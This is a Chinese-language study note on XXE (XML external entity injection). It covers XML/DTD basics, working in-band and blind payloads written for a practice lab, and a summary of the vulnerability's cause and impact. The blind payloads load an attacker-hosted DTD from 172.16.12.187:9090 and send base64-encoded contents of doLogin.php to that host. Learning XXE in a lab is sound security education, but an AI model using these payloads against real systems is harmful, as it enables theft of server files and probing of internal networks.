XXE
XML基础
与HTML区别:HTML是被设计用来展示数据,XML是用来传输数据
在xml文档内部的定义
<?xml version="1.0"?> #XML声明
<!DOCTYPE note[ #定义此文档为关于note元素的文档
<!ELEMENT note(to,from,heading,body)> #定义note元素有四个元素
<!ELEMENT to(#PCDATA)> #定义to元素的类型为#PCDATA
<!ELEMENT from(#PCDATA)> #文档类型定义(DTD)
<!ELEMENT heading(#PCDATA)>
<!ELEMENT body(#PCDATA)>
]>
<note>
<to>George</to>
<from>xiaoming</from>
<heading>Reminder</heading>
<body>xxxxx</body>
</note>
- DTD使数据格式之间按照相同的标准来传输
- DTD是一种XML约束模式语言,用来解释XML文档
XML文档引用外部DTD
outdtd.dtd
<?xm1 version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note(to,from,heading,body)>
<!ELEMENT to(#PCDATA)>
<!ELEMENT from(#PCDATA)>
<!ELEMENT heading(#PCDATA)>
<!ELEMENT body(#PCDATA)>]>
out.xml
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "http://localhost/outdtd.dtd">
<note>
<to>George</to>
<from>xiaoming</from>
</note>
XML文档内外结合引用外部DTD
XML实体类型
实体类型分为普通实体和参数实体
文档中实体相当于其他语言的变量,实体名即为变量名,实体值即为变量的值。引用xml实体主要用到&/%符号
XML实体支持的协议
在后端语言与xml联动时,xm|实体支持的协议都是后端语言重新封装的伪协议
XXE漏洞利用
有回显的XXE
利用XXE Labs内部声明调用普通实体
<?xm1 version='1.0'?>
<!DOCTYPE abc [
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">]>
<user>
<username>&test;</username> #注意要加分号
<password>admin</password>
</user>
利用XXELabs外部引用参数实体
evil.dtd
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY % test SYSTEM " http://172.16.12.187:9090/evil.dtd">
//%test指定参数实体test
//SYSTEM"http://172.16.12.187:9090/evi1.dtd">test参数实体引用外部dtd
%test;
//调用参数实体test,调用后只需要在有输出的位置将外部实体调用一次即可获取结果。
]>
<user><username>&xxe;</username><password>admin</password></user>
无回显的XXE
外部DTD
payload
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % dtd SYSTEM "http://172.16.12.187:9090/evil.xml">
%dtd;
%send;
]>
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://172.16.12.187:9090/?content=%file;'>">
%payload;
%send;
]>
外部DTD
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://172.16.12.187:9090/?content=%file;'>"> %payload;
完全外部DTD
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abc [<!ENTITY % a SYSTEM "http://172.16.12.187:9090/evil1.dtd">
%a;%y;%z;
]>
外部DTD
<!ENTITY % x SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % y "<!ENTITY % z SYSTEM 'http://172.16.12.187:9090/?123=%x;'>">
XXE漏洞原理
概述
XXE漏洞即为xm|外部实体注入漏洞
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部DTD文件
漏洞产生原因
对输入的xml文件没有进行过滤,导致可输入恶意xm|文件
漏洞的危害
- 读取任意文件
- 执行系统命令(expect扩展,默认不安装)
- 内网端口扫描
- 攻击内网其他网站(利用GET请求攻击)
XXE漏洞挖掘条件
- 服务器能够解析xml
- 服务器允许xml进行外部实体调用